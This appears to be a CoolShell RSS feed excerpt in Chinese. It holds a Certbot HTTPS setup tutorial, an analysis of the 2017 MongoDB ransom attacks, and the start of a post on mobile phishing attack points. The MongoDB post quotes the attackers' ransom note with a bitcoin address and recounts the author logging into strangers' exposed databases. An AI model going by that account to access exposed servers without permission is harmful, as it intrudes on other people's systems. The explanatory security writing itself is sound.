<p style="padding-left: 30px;">1）首先，打开 <a href="https://certbot.eff.org" target="_blank" rel="noopener noreferrer">https://certbot.eff.org</a> 网页。</p>
<p style="padding-left: 30px;">2）在那个机器上图标下面，你需要选择一下你用的 Web 接入软件 和你的 操作系统。比如，我选的，<code>nginx</code> 和 <code>Ubuntu 14.04</code></p>
<p style="padding-left: 30px;">3）然后就会跳转到一个安装教程网页。你就照着做一遍就好了。</p>
<p>以Coolshell.cn为例 &#8211; Nginx + Ubuntu</p>
<p>首先先安装相应的环境：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">
$ sudo apt-get update
$ sudo apt-get install software-properties-common
$ sudo add-apt-repository ppa:certbot/certbot
$ sudo apt-get update
$ sudo apt-get install python-certbot-nginx
</pre>
<p>然后，运行如下命令：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">
$ sudo certbot --nginx
</pre>
<p><code>certbot</code> 会自动检查到你的 <code>nginx.conf</code> 下的配置，把你所有的虚拟站点都列出来，然后让你选择需要开启 https 的站点。你就简单的输入列表编号（用空格分开），然后，certbot 就帮你下载证书并更新 <code>nginx.conf</code> 了。</p>
<p>你打开你的 <code>nginx.conf</code> 文件 ，你可以发现你的文件中的 <code>server</code> 配置中可能被做了如下的修改：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">listen 443 ssl; # managed by Certbot
ssl_certificate /etc/letsencrypt/live/coolshell.cn/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/coolshell.cn/privkey.pem; # managed by Certbot
include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot</pre>
<p>和</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW"> # Redirect non-https traffic to https
if ($scheme != &quot;https&quot;) {
  return 301 https://$host$request_uri;
} # managed by Certbot</pre>
<p>&nbsp;</p>
<p>这里建议配置 http2，这要求 Nginx 版本要大于 1.9.5。HTTP2 具有更快的 HTTPS 传输性能，非常值得开启（<a href="http://blog.httpwatch.com/2015/01/16/a-simple-performance-comparison-of-https-spdy-and-http2/" target="_blank" rel="noopener noreferrer">关于性能你可以看一下这篇文章</a>）。需要开启HTTP/2其实很简单，只需要在 <code>nginx.conf</code> 的 <code>listen 443 ssl;</code> 后面加上 <code>http2</code> 就好了。如下所示：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">listen 443 ssl http2; # managed by Certbot 
ssl_certificate /etc/letsencrypt/live/coolshell.cn/fullchain.pem; # managed by Certbot 
ssl_certificate_key /etc/letsencrypt/live/coolshell.cn/privkey.pem; # managed by Certbot 
include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot</pre>
<p>然后，就 <code>nginx -s reload</code> 就好了。</p>
<p>但是，<strong>Let&#8217;s Encrypt 的证书90天就过期了</strong>，所以，你还要设置上自动化的更新脚本，最容易的莫过于使用 <code>crontab</code> 了。使用 <code>crontab -e</code> 命令加入如下的定时作业（每个月都强制更新一下）：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">0 0 1 * * /usr/bin/certbot renew --force-renewal
5 0 1 * * /usr/sbin/service nginx restart</pre>
<p>当然，你也可以每天凌晨1点检查一下：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">0 1 * * * certbot renew </code></p>
<p>注：crontab 中有六个字段，其含义如下：</p>
<ul>
<li>第1个字段：分钟 (0-59)</li>
<li>第2个字段：小时 (0-23)</li>
<li>第3个字段：日期 (1-31)</li>
<li>第4个字段：月份 (1-12 [12 代表 December])</li>
<li>第5个字段：一周当中的某天 (0-7 [7 或 0 代表星期天])</li>
<li>/path/to/command &#8211; 计划执行的脚本或命令的名称</li>
</ul>
<p><strong>这么方便的同时，我不禁要问，如果是一些恶意的钓鱼网站也让自己的站点变成https的，这个对于一般用来说就有点难以防范了。哎……</strong></p>
<p>当然，在nginx或apache上启用HTTPS后，还没有结束。因为你可能还需要修改一下你的网站，不然你的网站在浏览时会出现各种问题。</p>
<p><strong>启用HTTPS后，你的网页中的所有的使用 <code>http://</code> 的方式的地方都要改成 <code>https://</code> 不然你的图片，js， css等非https的连接都会导致浏览器抱怨不安全而被block掉</strong>。所以，你还需要修改你的网页中那些 hard code <code>http://</code> 的地方。</p>
<p>对于我这个使用wordpress的博客系统来说，有这么几个部分需要做修改。</p>
<p style="padding-left: 30px;">1）首先是 wordpress的 常规设置中的 “<strong>WordPress 地址</strong>” 和 “<strong>站点地址</strong>” 需要变更为 https 的方式。</p>
<p style="padding-left: 30px;">2）然后是文章内的图片等资源的链接需要变更为 https 的方式。对此，你可以使用一个叫 “<a href="https://wordpress.org/plugins/search-regex/" target="_blank" rel="noopener noreferrer">Search Regex</a>” 插件来批量更新你历史文章里的图片或别的资源的链接。比如：把 <code>http://coolshell.cn</code> 替换成了 <code>https://coolshell.cn</code></p>
<p style="padding-left: 30px;">3）如果你像我一样启用了文章缓存（我用的是<a href="https://wordpress.org/plugins/wp-super-cache/" target="_blank" rel="noopener noreferrer">WP-SuperCache</a>插件），你还要去设置一下 “<strong>CDN</strong>” 页面中的 “Site URL” 和 “off-site URL” 确保生成出来的静态网页内是用https做资源链接的。</p>
<p>基本上就是这些事。希望大家都来把自己的网站更新成 https 的。</p>
<p>嗯，12306，你什么时候按照这个教程做一下你的证书？</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png" alt="HTTP API 认证授权术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_title">HTTP API 认证授权术</a></li><li ><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png" alt="从“黑掉Github”学Web安全开发" width="150" height="150" /></a><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_title">从“黑掉Github”学Web安全开发</a></li><li ><a href="https://coolshell.cn/articles/8767.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox-150x150.jpg" alt="Web工程师的工具箱" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8767.html" class="wp_rp_title">Web工程师的工具箱</a></li><li ><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg" alt="如何设计“找回用户帐号”功能" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_title">如何设计“找回用户帐号”功能</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/18094.html">如何免费的让网站启用HTTPS</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/18094.html/feed</wfw:commentRss>
			<slash:comments>91</slash:comments>
		
		
			</item>
		<item>
		<title>从 MongoDB “赎金事件” 看安全问题</title>
		<link>https://coolshell.cn/articles/17607.html</link>
					<comments>https://coolshell.cn/articles/17607.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Sat, 07 Jan 2017 09:11:28 +0000</pubDate>
				<category><![CDATA[技术新闻]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[Bitcoin]]></category>
		<category><![CDATA[MongoDB]]></category>
		<category><![CDATA[ransom]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=17607</guid>

					<description><![CDATA[<p>今天上午（2017年1月7日），我的微信群中同时出现了两个MongoDB被黑掉要赎金的情况，于是在调查过程中，发现了这个事件。这个事件应该是2017年开年的第一...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/17607.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/17607.html">从 MongoDB “赎金事件” 看安全问题</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright size-sup_wechat_big wp-image-17621" src="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-360x200.jpg" alt="" width="360" height="200" />今天上午（2017年1月7日），我的微信群中同时出现了两个MongoDB被黑掉要赎金的情况，于是在调查过程中，发现了这个事件。这个事件应该是2017年开年的第一次比较大的安全事件吧，发现国内居然没有什么报道，国内安全圈也没有什么动静（当然，他们也许知道，只是不想说吧），Anyway，让我这个非安全领域的人来帮补补位。</p>
<h4>事件回顾</h4>
<p>这个事情应该是从2017年1月3日进入公众视野的，是由安全圈的大拿 Victor Gevers （网名：<a href="https://twitter.com/0xDUDE" target="_blank">0xDUDE</a>，<span class="js-display-url"><a class="twitter-timeline-link" dir="ltr" title="http://GDI.foundation" href="http://GDI.foundation" target="_blank" rel="nofollow noopener" data-expanded-url="http://GDI.foundation">GDI.foundation</a> </span>的Chairman），其实，他早在2016年12月27日就发现了一些在互联网上用户的MongoDB没有任何的保护措施，被攻击者把数据库删除了，并留下了一个叫 WARNING 的数据库，这张表的内容如下：</p>
<pre><code class="language-sql">{
    "_id" : ObjectId("5859a0370b8e49f123fcc7da"),
    "mail" : "harak1r1@sigaint.org",
    "note" : "SEND 0.2 BTC TO THIS ADDRESS 13zaxGVjj9MNc2jyvDRhLyYpkCh323MsMq AND CONTACT THIS EMAIL WITH YOUR IP OF YOUR SERVER TO RECOVER YOUR DATABASE !"
}</code></pre>
<p>基本上如下所示：</p>
<p><span id="more-17607"></span></p>
<figure id="attachment_17609" aria-describedby="caption-attachment-17609" style="width: 646px" class="wp-caption aligncenter"><img decoding="async" loading="lazy" class="size-full wp-image-17609" src="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-ransom.png" alt="MongoDB ransom demand (via Victor Gevers)" width="646" height="332" srcset="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-ransom.png 646w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-ransom-300x154.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-ransom-525x270.png 525w" sizes="(max-width: 646px) 100vw, 646px" /><figcaption id="caption-attachment-17609" class="wp-caption-text">MongoDB ransom demand (via Victor Gevers)</figcaption></figure>
<p>说白了就是黑客留下的东西——<strong>老子把你的MongoDB里的数据库给转走了，如果你要你的数据的话，给我0.2个的比特币（大约USD200）</strong>。然后，他的twitter上不断地发布这个“赎金事件”的跟踪报道。与此同时，中国区的V2EX上也发现了相关的攻击问题 《<a href="https://www.v2ex.com/t/331887" target="_blank">自己装的 mongo 没有设置密码结果被黑了</a>》</p>
<p>然后，在接下来的几天内，全球大约有1800个MongoDB的数据库被黑，这个行为来自一个叫 Harak1r1 的黑客组织（这个组织似乎就好黑MongoDB，据说他们历史上干了近8500个MongoDB的数据库，几乎都是在祼奔的MongoDB）。</p>
<p>不过，这个组织干了两天后就停手了，可能是因为这事已经引起了全球科技媒体的注意，产生了大量的报道（如果你在Google News里查一下“<a href="https://www.google.com/webhp?sourceid=chrome-instant&amp;ion=1&amp;espv=2&amp;ie=UTF-8#q=mongodb+ransom&amp;newwindow=1&amp;tbm=nws" target="_blank">mongodb ransom</a>”，你会看到大量的报道（中文社区中，只有<a href="https://unwire.pro/2017/01/05/2000-mongodb-ransom/security/" target="_blank">台湾有相关的报道</a>）），他们也许是不敢再搞下去了。</p>
<p>不过，很快，有几个copycats开始接着干，</p>
<p>马上跟进的是 own3d ，他们留下的数据库的名字叫 WARNING_ALERT，他们至少干掉了 930个MongoDB，赎金0.5个比特币（USD500），至少有3个用户付费了</p>
<p>然后是0704341626asdf，他们留下的数据库名字叫PWNED，他们至少干掉了740个MongoDB，赎金0.15个比特币（USD150），看看他们在数据库里留下的文字——<strong>你的MongoDB没有任何的认证，并且暴露在公网里（你TMD是怎么想的？）……</strong></p>
<figure id="attachment_17610" aria-describedby="caption-attachment-17610" style="width: 616px" class="wp-caption aligncenter"><img decoding="async" loading="lazy" class="size-full wp-image-17610" src="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-Group-3.jpg" alt="0704341626asdf group ransom note (via Victor Gerves)" width="616" height="236" srcset="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-Group-3.jpg 616w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-Group-3-300x115.jpg 300w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-Group-3-604x231.jpg 604w" sizes="(max-width: 616px) 100vw, 616px" /><figcaption id="caption-attachment-17610" class="wp-caption-text">0704341626asdf group ransom note (via Victor Gerves)</figcaption></figure>
<p>就在这两天，有两个新的黑客也来了</p>
<ul>
<li>先是kraken0，发现到现在1天了，干了13个MongoDB，赎金 0.1个比特币。</li>
<li>然后是 3lix1r，发现到现在5个小时，干了17个MongoDB，赎金0.25比特币。</li>
</ul>
<p>BBC新闻也于昨天报道了这一情况——《<a href="http://www.bbc.com/news/technology-38521973" target="_blank">Web databases hit in ransom attacks</a>》，现在这个事情应该是一个Big News了。</p>
<h4>关于MongoDB的安全</h4>
<p>安全问题从来都是需要多方面一起努力，但是安全问题最大的短板就是在用户这边。这次的这个事，说白了，就是用户没有给MongoDB设置上用户名和口令，然后还把服务公开到了公网上。</p>
<p>是的，这个安全事件，相当的匪夷所思，为什么这些用户要在公网上祼奔自己的数据库？他们的脑子是怎么想的？</p>
<p>让我们去看一下Shodan上可以看到的有多少个在暴露在公网上而且没有防范的MongoDB？我了个去！<strong>4万7千个，还是很触目惊心的</strong>（下图来自我刚刚创建的 <a href="https://www.shodan.io/report/h0bgF6zM" target="_blank">Shodan关于MongoDB的报表</a>）</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-large wp-image-17614" src="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Shodan-1024x485.png" alt="" width="640" height="303" srcset="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Shodan-1024x485.png 1024w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Shodan-300x142.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Shodan-768x364.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Shodan-570x270.png 570w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Shodan.png 1124w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p>&nbsp;</p>
<p>那么，怎么会有这么多的对外暴露的MongoDB？看了一下Shodan的报告，发现主要还是来自公有云平台，Amazon，Alibaba，Digital Ocean，OVH，Azure 的云平台上有很多这样的服务。不过，像AWS这样的云平台，有很完善的默认安全组设置和VPC是可以不把这样的后端服务暴露到公有云上的，为什么还会有那么多？</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-17616" src="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Org.png" width="650" height="403" srcset="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Org.png 867w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Org-300x186.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Org-768x476.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Org-436x270.png 436w" sizes="(max-width: 650px) 100vw, 650px" /></p>
<p>&nbsp;</p>
<p>这么大量的暴露在公网上的服务是怎么回事？有人发现（参看这篇文章《<a href="https://blog.shodan.io/its-the-data-stupid/" target="_blank">It&#8217;s the Data, Stupid!</a>》 ），MongoDB历史上一直都是把侦听端口绑在所有的IP上的，这个问题在5年前（2011年11月）就报给了MongoDB (<a href="https://jira.mongodb.org/browse/SERVER-4216" target="_blank">SERVER-4216</a>)，结果2014年4月才解决掉。所以，他觉得可能似乎 MongoDB的 2.6之前的版本都会默认上侦听在0.0.0.0 。</p>
<p>于是我做了一个小试验，到我的Ubuntu 14.04上去 <code>apt-get install mongodb</code>（2.4.9版），然后我在<code>/etc/mongodb.conf</code> 文件中，看到了默认的配置是127.0.0.1，mongod启动也侦听在了127.0.0.1这台机器上。一切正常。不过，可能是时过境迁，debain的安装包里已加上了这个默认配置文件。不管怎么样，MongoDB似乎是有一些问题的。</p>
<p>再到Shodan上看到相关的在公网裸奔的MongoDB的版本如下，发现3.x的也是主流：</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-17615" src="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Version.png" width="650" height="410" srcset="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Version.png 888w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Version-300x189.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Version-768x484.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Version-428x270.png 428w" sizes="(max-width: 650px) 100vw, 650px" /></p>
<p>&nbsp;</p>
<p>虽然，3.x的版本成为了主流，但是似乎，还是有很多人把MongoDB的服务开到了互联网上来，而且可以随意访问。</p>
<p><strong>你看，我在阿里云随便找了几台机器，一登就登上去了。</strong></p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-17617" src="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Aliyun.png" width="300" height="587" srcset="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Aliyun.png 640w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Aliyun-153x300.png 153w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Aliyun-523x1024.png 523w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Aliyun-138x270.png 138w" sizes="(max-width: 300px) 100vw, 300px" /></p>
<p>真是如那些黑客中的邮件所说的：WTF，你们是怎么想的？</p>
<h4>后续的反思</h4>
<p>为什么还是有这么多的MongoDB在公网上祼奔呢？难道有这么多的用户都是小白？这个原因，是什么呢？我觉得可能会是如下两个原因：</p>
<p style="padding-left: 30px;">1）一是技术人员下载了mongod的软包，一般来说，mongodb的压缩包只有binary文件 ，没有配置文件 ，所以直接解开后运行，结果就没有安全认证，也绑在了公网上。也许，MongoDB这么做的原因就是为了可以快速上手，不要在环境上花太多的时间，这个有助于软件方面的推广。但是，这样可能就坑了更多的人。</p>
<p style="padding-left: 30px;">2）因为MongoDB是后端基础服务，所以，需要很多内部机器防问，按道理呢，应该绑定在内网IP上，但是呢，可能是技术人员不小心，绑在了0.0.0.0的IP上。</p>
<p>那么，这个问题在云平台上是否可以更好的解决呢？</p>
<p><strong>关于公网的IP。</strong>一般来说，公有云平台上的虚拟主机都会有一个公网的IP地址，老实说，这并不是一个好的方法，因为有很多主机是不需要暴露到公网上的，所以，也就不需要使用公网IP，于是，就会出现弹性IP或虚拟路由器以及VPC这样的虚拟网络服务，这样用户在公有云就可以很容易的组网，也就没有必要每台机器都需要一个公网IP，使用云平台，最好还是使用组网方案比较好的平台。</p>
<p><strong>关于安全组</strong>。在AWS上，你开一台EC2，会有一个非常严格的安全组——只暴露22端口，其它的全部对外网关闭。这样做，其实是可以帮用户防止一下不小心把不必要的服务Open到公网上。按道理来说，AWS上应该是帮用户防了这些的。但是，AWS上的MongoDB祼奔的机器数量是最多的，估计和AWS的EC2的 基数有关系吧（据说AWS有千万台左右的EC2了）</p>
<p>最后，提醒大家一下，被黑了也不要去付赎金，因为目前来说没有任何证据证明黑客们真正保存了你的数据，因为，被黑的服务器太多了，估计有几百T的数据，估计是不会为你保存的。下面也是Victor Gevers的提示：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-17619" src="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Twitter.png" alt="" width="507" height="213" srcset="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Twitter.png 507w, https://coolshell.cn/wp-content/uploads/2017/01/MongoDB_Twitter-300x126.png 300w" sizes="(max-width: 507px) 100vw, 507px" /></p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="http://coolshell.cn/articles/11973.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/09/bashbug-150x150.jpg" alt="bash代码注入的安全漏洞" width="150" height="150" /></a><a href="http://coolshell.cn/articles/11973.html" class="wp_rp_title">bash代码注入的安全漏洞</a></li><li ><a href="http://coolshell.cn/articles/6976.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/04/61e04755jw1drlo96bsktj-150x150.jpg" alt="谈谈数据安全和云存储" width="150" height="150" /></a><a href="http://coolshell.cn/articles/6976.html" class="wp_rp_title">谈谈数据安全和云存储</a></li><li ><a href="http://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="http://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="http://coolshell.cn/articles/11021.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png" alt="从“黑掉Github”学Web安全开发" width="150" height="150" /></a><a href="http://coolshell.cn/articles/11021.html" class="wp_rp_title">从“黑掉Github”学Web安全开发</a></li><li ><a href="http://coolshell.cn/articles/17066.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg" alt="关于移动端的钓鱼式攻击" width="150" height="150" /></a><a href="http://coolshell.cn/articles/17066.html" class="wp_rp_title">关于移动端的钓鱼式攻击</a></li><li ><a href="http://coolshell.cn/articles/6424.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg" alt="Hash Collision DoS 问题" width="150" height="150" /></a><a href="http://coolshell.cn/articles/6424.html" class="wp_rp_title">Hash Collision DoS 问题</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/17607.html">从 MongoDB “赎金事件” 看安全问题</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/17607.html/feed</wfw:commentRss>
			<slash:comments>44</slash:comments>
		
		
			</item>
		<item>
		<title>关于移动端的钓鱼式攻击</title>
		<link>https://coolshell.cn/articles/17066.html</link>
					<comments>https://coolshell.cn/articles/17066.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Tue, 14 Apr 2015 00:13:23 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[程序设计]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[iOS]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=17066</guid>

					<description><![CDATA[<p>今天，在微博上看了一篇《微信和淘宝到底是谁封谁》的文章，我觉得文章中逻辑错乱，所以，我发了一篇关于这篇文章逻辑问题的长微博。后面，我被原博主冷嘲热讽了一番，说是...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/17066.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/17066.html">关于移动端的钓鱼式攻击</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright size-full wp-image-17069" src="https://coolshell.cn/wp-content/uploads/2015/04/phishing-1.jpg" alt="phishing-1" width="300" height="300" srcset="https://coolshell.cn/wp-content/uploads/2015/04/phishing-1.jpg 300w, https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg 150w, https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-200x200.jpg 200w, https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-270x270.jpg 270w" sizes="(max-width: 300px) 100vw, 300px" />今天，在微博上看了一篇《<a href="http://weibo.com/p/1001603830475402664763" target="_blank">微信和淘宝到底是谁封谁</a>》的文章，我觉得文章中逻辑错乱，所以，我发了一篇<a href="http://weibo.com/p/1001603831131286939079" target="_blank">关于这篇文章逻辑问题的长微博</a>。后面，我被原博主冷嘲热讽了一番，说是什么鸡汤啊，什么我与某某之流的人在一起混淆视听啊，等等。并且也有一些网友找我讨论一下相关的钓鱼式攻击的技术问题。所以，我想写下这篇纯技术文章，因为我对那些商业利益上的东西不关心，所以，只谈技术，这样最简单。</p>
<p>首先说明一下，<strong>我个人不是一个安全专家，也不是一个移动开发专家，按道理来说，这篇文章不应该我来写，但是我就试一试，请原谅我的无知，也期待抛砖引玉了，希望安全的同学斧正</strong>。</p>
<p>关于钓鱼式攻击，其实是通过一种社会工程学的方式来愚弄用户的攻击式，攻击者通常会模仿一个用户信任的网站来偷取用户的机密信息，比如用户密码或是信用卡。一般来说，攻击者会通过邮件和实时通信工具完成，给被攻击者发送一个高仿的网站，然后让用户看不出来与正统网站的差别，然后收集用户的机密数据。</p>
<h4>移动端钓鱼攻击点分析</h4>
<p>因为钓鱼式攻击并不新鲜，所以我这里只讲移动方面的。</p>
<p>在移动端，这个事情会更容易干，因为移动端有如下特点：</p>
<ul>
<li>移动端的UI只能有一个应用占据整个屏幕，你只能看到一个应用，而且用户屏幕小，能显示的信息有限，比如浏览器里的网址是显示不全的。这会给钓鱼攻击有很多可乘之机。</li>
</ul>
<ul>
<li>移动端的平台有其安全的设计。每个应用都是隔离开的，一个应用无法获取另一个应用的数据。而且应用的下载基本上来说都是来自合法的地方。比如iOS的设备通过App Store下载，每个程序都有自己的签名保证不会被篡改。而且移动端的的应用有各种权限配置，这样也能很大程度提高安全性。</li>
</ul>
<ul>
<li>移动端的APP有些有些是收费的，所以自然会有盗版需求，虽然在平台上做了一些安全设计，但是并不完美。用户可以越狱，可以root。这给恶意软件有了可乘之机。</li>
</ul>
<p>下面我们来分析下移动端的用户操作，我们重点关注用户控制权的切换过程（因为这是攻击点）</p>
<p><span id="more-17066"></span></p>
<p>在移动设备上，基本上来说，用户的控制切换有四种：</p>
<ul>
<li>从一个APP切到另一个APP，也就是我们所谓的唤出APP。</li>
<li>从一个APP唤出一个Web，常见为一个嵌入式的WebView或是一个浏览器</li>
<li>从一个Web唤出一个APP，这需要浏览器支持一些非标准的HTTP协议，比如skype://之类的。</li>
<li>从一个Web到另一个Web，这和Web上的方式差不多。</li>
</ul>
<p>基本上来说，<strong>黑客的攻击从来都是找这样的转换环节来做文章的，并且需要一个用户非常熟悉的场景（这样用户才会放松警惕）</strong>。</p>
<p>通过观察移动APP的特性，我们可以知道，当用户控制切换时，有下面的这些特性：</p>
<ul>
<li>到另一个APP时，需要用户登录（如果登录的session过期了）</li>
<li>当支付的时候，需要用户输入支付信息（信用卡信息、支持密码）</li>
</ul>
<p>那么用户在移动APP上经常做的事是什么？</p>
<ul>
<li><strong>社交分享</strong>：分享到微博，分享到微信等等，分享的时候，可能需要你输入用户名和口令。</li>
</ul>
<ul>
<li><strong>应用内购</strong>：一般来说APP会有两种，一种免费的，一种是收费的，大量的用户都是下载免费的，然后通过什么“开通更多关卡”、“去广告”、“买道具”之类的东西，让用户输入支付信息。Apple的支付的时候也会要用户输入Apple ID的密码。</li>
</ul>
<ul>
<li><strong>点击链接</strong>：有时候，我们收到短信，或是二维码，或是一个微信微博，会让我们去点击一个网站链接，这个网站链接要么就是打开一个网页，要么就是启动应用，要么就是跳转到应用市场去下载应用（如果你没安装）。</li>
</ul>
